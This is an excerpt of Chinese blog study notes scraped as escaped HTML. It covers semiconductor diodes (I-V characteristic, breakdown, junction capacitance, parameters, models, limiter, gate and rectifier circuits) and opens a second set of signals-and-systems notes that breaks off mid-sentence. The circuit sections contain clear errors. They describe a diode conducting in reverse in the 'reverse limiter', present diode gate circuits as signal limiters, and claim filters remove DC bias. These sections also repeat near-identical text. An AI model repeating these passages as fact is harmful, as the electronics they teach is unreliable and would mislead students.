class=\"headerlink\" title=\"伏安特性\"\u003e\u003c/a\u003e伏安特性\u003c/h3\u003e\u003cp\u003e伏安特性数学关系为:$I_D=I_S(e^{\\frac{u}{U_t}}-1)$,其中只有$U$和$I$是变量,$I_S$是反偏电流,$U_T$是温度当量,默认为$26mV$。\u003c/p\u003e\u003cp\u003e$U_T=\\frac{kT}{q}$,其中的$k$是玻尔兹曼常数。\u003c/p\u003e\u003cp\u003e$T=300$时,电压为$26mV$。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Screenshot_20221229_093002.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_093211.jpg]]\u003c/p\u003e\u003ch3 id=\"击穿特性\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%87%BB%E7%A9%BF%E7%89%B9%E6%80%A7\" class=\"headerlink\" title=\"击穿特性\"\u003e\u003c/a\u003e击穿特性\u003c/h3\u003e\u003cp\u003e击穿方式有两种,血崩击穿和齐纳击穿。\u003c/p\u003e\u003col\u003e\u003cli\u003e雪崩击穿\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e当\u003cstrong\u003ePN结较厚,电压较高时\u003c/strong\u003e,一个载流子打在PN结上,会撞出来一些自由电子。这些自由电子会像链式反应一样撞出来更多的自由电子。\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e齐纳击穿\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e当\u003cstrong\u003ePN结较薄,电压较低时\u003c/strong\u003e,内部扩散载流子形成的内电场可能会直接把束缚电子拉出来,形成击穿。\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_094116.jpg]]\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_094218.jpg]]\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/IMG_20230213_141623.jpg\"/\u003e\u003c/p\u003e\u003ch3 id=\"PN结的电容效应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#PN%E7%BB%93%E7%9A%84%E7%94%B5%E5%AE%B9%E6%95%88%E5%BA%94\" class=\"headerlink\" title=\"PN结的电容效应\"\u003e\u003c/a\u003ePN结的电容效应\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e总而言之,PN结可以等效为电容和电阻并联。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e电容效应\u003c/strong\u003e 电压变化引起电荷变化。势垒电容,扩散电容构成了PN结的电容效应。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e势垒电容\u003c/strong\u003e 由阻挡层内电荷引起。外加电压会改变阻挡层厚度。这会使得阻挡层内电荷量改变。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e扩散电容\u003c/strong\u003e 多子扩散后,在另一侧积累形成电容效应。正向电压会改变电荷量从而使得电容改变。\u003c/p\u003e\u003cp\u003e![[Screenshot_20221229_100028.jpg]]\u003c/p\u003e\u003ch2 id=\"1-3-半导体二极管\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#1-3-%E5%8D%8A%E5%AF%BC%E4%BD%93%E4%BA%8C%E6%9E%81%E7%AE%A1\" class=\"headerlink\" title=\"1.3 半导体二极管\"\u003e\u003c/a\u003e1.3 半导体二极管\u003c/h2\u003e\u003cp\u003e是将半导体制作成二极管(diode)得到的电子元件,性质也是单向导通。两端分别为P端(阳极),N端(阴极)。\u003c/p\u003e\u003cp\u003e分类可以按照材料:\u003c/p\u003e\u003cul\u003e\u003cli\u003e硅二极管\u003c/li\u003e\u003cli\u003e锗二极管\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e也可以按照结构分类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e点接触型二极管 适合高频工作,小电流整流、检波和混频等\u003c/li\u003e\u003cli\u003e面接触型二极管 只能在较低的频率工作,可用于整流电路\u003c/li\u003e\u003cli\u003e硅平面型二极管 结面积大的用于大功率整流,小的在脉冲数字电路中作开关管\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"二极管的参数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E7%9A%84%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"二极管的参数\"\u003e\u003c/a\u003e二极管的参数\u003c/h3\u003e\u003cp\u003e二极管有这么几个特殊点。考虑U-I图(横轴U纵轴I),有\u003c/p\u003e\u003cul\u003e\u003cli\u003e$U_{th}$ 死区电压,超过这个正值二极管开始导通\u003c/li\u003e\u003cli\u003e$U_{on}\\text{ or }U_I$ 导通电压,此时电流达到1mA\u003c/li\u003e\u003cli\u003e$U_{BR}$ 击穿电压,反向电压超过一定值后,反向电流急剧增加\u003c/li\u003e\u003cli\u003e$U_R$ 最大反向工作电压,二极管允许的最大工作电压,一般取最大值的一半标注\u003c/li\u003e\u003cli\u003e$I_F$ 最大整流电流,正向最大平均电流\u003c/li\u003e\u003cli\u003e$I_R$ 反向电流,未击穿时反向电流值,受温度影响大\u003c/li\u003e\u003cli\u003e$f_M$ 最高工作频率 和结电容成反比\u003c/li\u003e\u003cli\u003e$R_D$ 端电压和流过二极管的电流之比\u003c/li\u003e\u003cli\u003e$r_d$ 交流电阻,工作点附近的图像切线斜率倒数。取26℃室温,约为$\\frac{26(mV)}{I_{DQ}}$,分母是工作点的电流\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e部分重要参数如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e-\u003c/th\u003e\u003cth align=\"center\"\u003e硅二极管\u003c/th\u003e\u003cth align=\"center\"\u003e锗二极管\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e$U_{th}$\u003c/td\u003e\u003ctd align=\"center\"\u003e0.5V\u003c/td\u003e\u003ctd align=\"center\"\u003e0.1V\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e$U_{on}$\u003c/td\u003e\u003ctd align=\"center\"\u003e0.7V\u003c/td\u003e\u003ctd align=\"center\"\u003e0.3V\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e反向饱和电流\u003c/td\u003e\u003ctd align=\"center\"\u003e$nA$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\mu A$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e温度特性 \u003cstrong\u003e温度升高1℃,正向压降减小2-2.5mV;升高10℃,反向电流约增大1倍。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e为了简化分析,可以在某种范围用线性函数近似二极管的指数分布。\u003c/p\u003e\u003cul\u003e\u003cli\u003e理想模型 就是理想二极管,反向断路,正向短路\u003c/li\u003e\u003cli\u003e恒压降模型 在理想模型基础加上$U_{on}$,相当于将理想模型向右平移$U_{on}$\u003c/li\u003e\u003cli\u003e折线模型 把前者正向短路换成斜率$1/R_D$的直线\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e利用二极管反向电流变化小的性质,可以用它制作稳压电路。\u003c/p\u003e\u003ch4 id=\"限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"限幅电路\"\u003e\u003c/a\u003e限幅电路\u003c/h4\u003e\u003cp\u003e限幅电路是一种常用的保护电路,可以限制输入信号的幅值,使其不超过一定范围。常用的限幅电路有正向限幅电路和反向限幅电路。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e限幅的实现,是源于二极管的伏安特性曲线。它导通时,两端电压近似等于二极管的导通电压。这使得二极管有了一种“钳制”的效果:当二极管在一个支路上,如果遇到一个支路的端电压超过导通电压,则二极管会导通,使得两端的电压无限接近于二极管的导通电压。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606213624.png\"/\u003e\u003c/p\u003e\u003cp\u003e下面是另一个题型,看谁先导通(共极)。这种方法看谁的阴极电压更低,就能得出了。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606213711.png\"/\u003e\u003c/p\u003e\u003cp\u003e另外还可以假设法解题。因为钳制效应的作用,所以只有一个管子会导通。因此,假设一个管导通,如果一个管导通,其他管不导通,则假设正确。\u003c/p\u003e\u003ch5 id=\"正向限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%AD%A3%E5%90%91%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"正向限幅电路\"\u003e\u003c/a\u003e正向限幅电路\u003c/h5\u003e\u003cp\u003e正向限幅电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003cp\u003e当输入信号为正半周时,二极管正向导通,输出信号等于输入信号;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,正向限幅电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606214233.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面就是一个反向截止电路。\u003c/p\u003e\u003ch5 id=\"反向限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8F%8D%E5%90%91%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"反向限幅电路\"\u003e\u003c/a\u003e反向限幅电路\u003c/h5\u003e\u003cp\u003e反向限幅电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003cp\u003e当输入信号为负半周时,二极管反向导通,输出信号等于输入信号;当输入信号为正半周时,二极管正向截止,输出信号为0V。因此,反向限幅电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003cp\u003e限幅电路的应用非常广泛,例如在音频放大器中,可以用限幅电路来保护扬声器,防止过载损坏;在通信电路中,可以用限幅电路来保护接收机,防止过大的信号干扰接收机正常工作。\u003c/p\u003e\u003ch4 id=\"二极管门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"二极管门电路\"\u003e\u003c/a\u003e二极管门电路\u003c/h4\u003e\u003cp\u003e二极管门电路是一种常用的电路,可以将输入信号的幅值限制在一定范围内。二极管门电路的基本原理是利用二极管的导通特性,将输入信号限制在二极管正向导通电压范围内。当输入信号超过二极管正向导通电压时,二极管开始导通,输出信号等于输入信号减去二极管正向导通电压;当输入信号小于二极管正向导通电压时,二极管反向截止,输出信号为0V。\u003c/p\u003e\u003cp\u003e常见的二极管门电路有正向门电路和反向门电路。\u003c/p\u003e\u003ch5 id=\"正向门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%AD%A3%E5%90%91%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"正向门电路\"\u003e\u003c/a\u003e正向门电路\u003c/h5\u003e\u003cp\u003e正向门电路可以将输入信号的负半周全部截去,只保留正半周。当输入信号为正半周时,二极管正向导通,输出信号等于输入信号减去二极管正向导通电压;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,正向门电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003ch5 id=\"反向门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8F%8D%E5%90%91%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"反向门电路\"\u003e\u003c/a\u003e反向门电路\u003c/h5\u003e\u003cp\u003e反向门电路可以将输入信号的正半周全部截去,只保留负半周。当输入信号为负半周时,二极管反向导通,输出信号等于输入信号减去二极管正向导通电压的相反数;当输入信号为正半周时,二极管正向截止,输出信号为0V。因此,反向门电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003ch4 id=\"整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"整流电路\"\u003e\u003c/a\u003e整流电路\u003c/h4\u003e\u003cp\u003e整流电路是将交流电信号转换为直流电信号的电路。在整流电路中,二极管起到了关键作用。常见的整流电路有半波整流电路和全波整流电路。\u003c/p\u003e\u003ch5 id=\"半波整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8D%8A%E6%B3%A2%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"半波整流电路\"\u003e\u003c/a\u003e半波整流电路\u003c/h5\u003e\u003cp\u003e半波整流电路是将输入信号的负半周全部截去,只保留正半周。输入信号为正半周时,二极管正向导通,输出信号等于输入信号;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,半波整流电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003ch5 id=\"全波整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%85%A8%E6%B3%A2%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"全波整流电路\"\u003e\u003c/a\u003e全波整流电路\u003c/h5\u003e\u003cp\u003e全波整流电路是将输入信号的负半周翻转成正半周,再与正半周相加得到完整的正半周信号。当输入信号为正半周时,D1正向导通,输出信号等于输入信号;当输入信号为负半周时,D2正向导通,输出信号等于输入信号的相反数。因此,全波整流电路可以将输入信号的负半周翻转成正半周,再与正半周相加得到完整的正半周信号。\u003c/p\u003e\u003ch5 id=\"滤波电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%BB%A4%E6%B3%A2%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"滤波电路\"\u003e\u003c/a\u003e滤波电路\u003c/h5\u003e\u003cp\u003e在整流电路中,由于二极管的导通特性,输出信号仍然存在直流偏置。为了去除这种直流偏置,需要加入滤波电路。常见的滤波电路有电容滤波电路和电感滤波电路。\u003c/p\u003e\u003ch3 id=\"二极管电路分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"二极管电路分析\"\u003e\u003c/a\u003e二极管电路分析\u003c/h3\u003e\u003cp\u003e对于二极管电路的分析,需要掌握二极管的伏安特性、电容效应、温度特性等基本特性,以及二极管的参数和模型。常用的二极管模型有理想模型、恒压降模型和折线模型。在实际电路中,可以根据需要选择不同的模型进行分析。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/"},{"title":"信号与系统笔记","time":"2022-12-20T00:48:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e考核:\u003cbr/\u003e平时成绩 30%\u003cbr/\u003e阶段考核 10%\u003cbr/\u003e慕课考核 10%\u003cbr/\u003e期末考试 50%\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"1-信号与系统\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"1-信号与系统\"\u003e\u003c/a\u003e1-信号与系统\u003c/h2\u003e\u003ch3 id=\"1-1-信号与系统的概念\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-1-%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%A6%82%E5%BF%B5\" class=\"headerlink\" title=\"1.1-信号与系统的概念\"\u003e\u003c/a\u003e1.1-信号与系统的概念\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e信号\u003c/strong\u003e 是信息的载体\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e系统\u003c/strong\u003e 是若干事物组成的功能性整体,其基本作用是对信号进行\u003cstrong\u003e传输\u003c/strong\u003e和\u003cstrong\u003e处理\u003c/strong\u003e。输入信号(激励),系统产生输出(响应)。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e信号处理\u003c/strong\u003e 对信号加工处理,去除无关信息。\u003c/p\u003e\u003cp\u003e通信过程分为两种,有线和无线。\u003c/p\u003e\u003ch3 id=\"1-2-信号的描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-2-%E4%BF%A1%E5%8F%B7%E7%9A%84%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"1.2-信号的描述\"\u003e\u003c/a\u003e1.2-信号的描述\u003c/h3\u003e\u003ch4 id=\"描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"描述\"\u003e\u003c/a\u003e描述\u003c/h4\u003e\u003cp\u003e信号是信息的一种物理体现,一般是随时间或位置变化的物理量。可以分为电信号和非电信号。二者可以相互转换。\u003c/p\u003e\u003cp\u003e描述方式有函数和波形描述。\u003c/p\u003e\u003ch4 id=\"分类\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"分类\"\u003e\u003c/a\u003e分类\u003c/h4\u003e\u003cp\u003e按照实际用途可以分为电视,雷达,控制信号等等\u003c/p\u003e\u003cp\u003e按照所具有的时间特性划分:\u003c/p\u003e\u003cul\u003e\u003cli\u003e确定信号和随机信号 能否用确定的时间函数表示的信号。\u003c/li\u003e\u003cli\u003e连续信号和离散信号 \u003cstrong\u003e连续的时间范围内\u003c/strong\u003e是否有定义的信号。\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e连续信号和离散信号分别可以对应模拟信号(时间和幅值均连续的信号)和数字信号。信号传输时通常采用数字信号的形式传输,在系统中使用时会重新解码为模拟信号。\u003cbr/\u003e模拟转数字过程:先抽样,转化为抽样信号(时间离散,幅值连续的信号);再量化,转化为幅值和时间均为离散的信号(把一个区间内的值都映射为一个值),随后将信号进行编码再发射出去。\u003cbr/\u003e![[Pasted image 20221220093016.png]]\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e周期信号和非周期信号 定义域在$(-\\infty, +\\infty)$间,每隔$T$重复的信号。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e判断两个周期信号的和信号是否为周期信号\u003c/strong\u003e 设两信号周期分别为$T_1,T_2$,若$\\frac{T_1}{T_2}$为有理数,则和信号是周期信号,且周期为$T_1,T_2$的最小公倍数。\u003c/p\u003e\u003cp\u003e正弦\u003cstrong\u003e信号\u003c/strong\u003e一定是\u003cstrong\u003e周期信号\u003c/strong\u003e,其和则不一定。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e判断$f(k)=sin(\\beta k)$是否为周期信号\u003c/strong\u003e ![[Pasted image 20221220094043.png]]\u003c/p\u003e\u003cp\u003e上面的$\\beta$称为数字角频率,这意味着把信号离散化了。\u003cstrong\u003e正弦序列不一定是周期序列,两个周期序列之和一定是周期序列\u003c/strong\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e能量信号与功率信号\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e信号瞬时功率 将信号$f(t)$施加到$1\\Omega$的电阻上,其瞬时功率为$\\vert{f(t)}\\vert^2$。能量和平均功率的定义为:\u003c/p\u003e\u003cp\u003e$$E=\\int \\vert{f(t)}\\vert^2 dt$$\u003cbr/\u003e$$P=lim_{t \\to \\infty}\\frac{1}{T}\\int_{-\\frac{T}{2}}^{\\frac{T}{2}}\\vert{f(t)}\\vert^2 dt$$\u003c/p\u003e\u003cp\u003e若能量有界,则称为能量有限信号/\u003cstrong\u003e能量信号\u003c/strong\u003e。此时$P=0$;若功率有界,则称为功率有限信号/\u003cstrong\u003e功率信号\u003c/strong\u003e,此时$E=\\infty$。\u003c/p\u003e\u003cp\u003e对于离散信号也一样,将积分改为求和即可:![[Pasted image 20221220095410.png]]\u003c/p\u003e\u003cul\u003e\u003cli\u003e一维信号和多维信号 如音频信号/图像信号\u003c/li\u003e\u003cli\u003e因果信号与反因果信号 $t\u0026lt;0,f(t)=0$即因果信号,$t\\geq 0, f(t)=0$ 称为反因果信号\u003c/li\u003e\u003cli\u003e确定性信号\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e指数信号$f(t)=Ke^{\\alpha t}$ 若只保留$t\\geq 0$的部分则称为单边信号\u003c/li\u003e\u003cli\u003e正弦信号$f(t)=Ksin(\\omega t+\\theta)$ 在前面乘一个衰减的指数信号则称为衰减正弦信号\u003c/li\u003e\u003cli\u003e复指数信号 把指数信号的$\\alpha$换为$s=\\sigma +j\\omega$,即复数,这称为复频率![[Pasted image 20221220100315.png]]\u003c/li\u003e\u003cli\u003e抽样信号$Sa(t)=\\frac{sin t}{t}$,向两侧衰减的余弦信号![[Pasted image 20221220100538.png]]\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"1-3-信号的基本运算\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-3-%E4%BF%A1%E5%8F%B7%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"1.3-信号的基本运算\"\u003e\u003c/a\u003e1.3-信号的基本运算\u003c/h3\u003e\u003ch4 id=\"加法和乘法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%8A%A0%E6%B3%95%E5%92%8C%E4%B9%98%E6%B3%95\" class=\"headerlink\" title=\"加法和乘法\"\u003e\u003c/a\u003e加法和乘法\u003c/h4\u003e\u003cul\u003e\u003cli\u003e连续信号:函数相加/乘\u003c/li\u003e\u003cli\u003e离散信号:对应各离散量相加/乘\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"信号的时间变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E4%BF%A1%E5%8F%B7%E7%9A%84%E6%97%B6%E9%97%B4%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"信号的时间变换\"\u003e\u003c/a\u003e信号的\u003cstrong\u003e时间变换\u003c/strong\u003e\u003c/h4\u003e\u003cul\u003e\u003cli\u003e反转:将 $f(t)\\to f(-t)$ ,$f(k)\\to f(-k)$ 称为对信号$f(\\cdot)$的反转或反折。从图形上看是将$f(\\cdot)$以纵坐标为轴反转$180^o$:\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414120234.png\"/\u003e\u003c/li\u003e\u003cli\u003e平移:将 $f (t) → f (t – t_0)$ , $f (k) → f (k – k_0)$称为对信号$f (·)$的平移或移位。若$t_0$ (或$k_0$) $\u0026gt;0$,则将$f (·)$右移;否则左移\u003c/li\u003e\u003cli\u003e展缩:将 $f (t) → 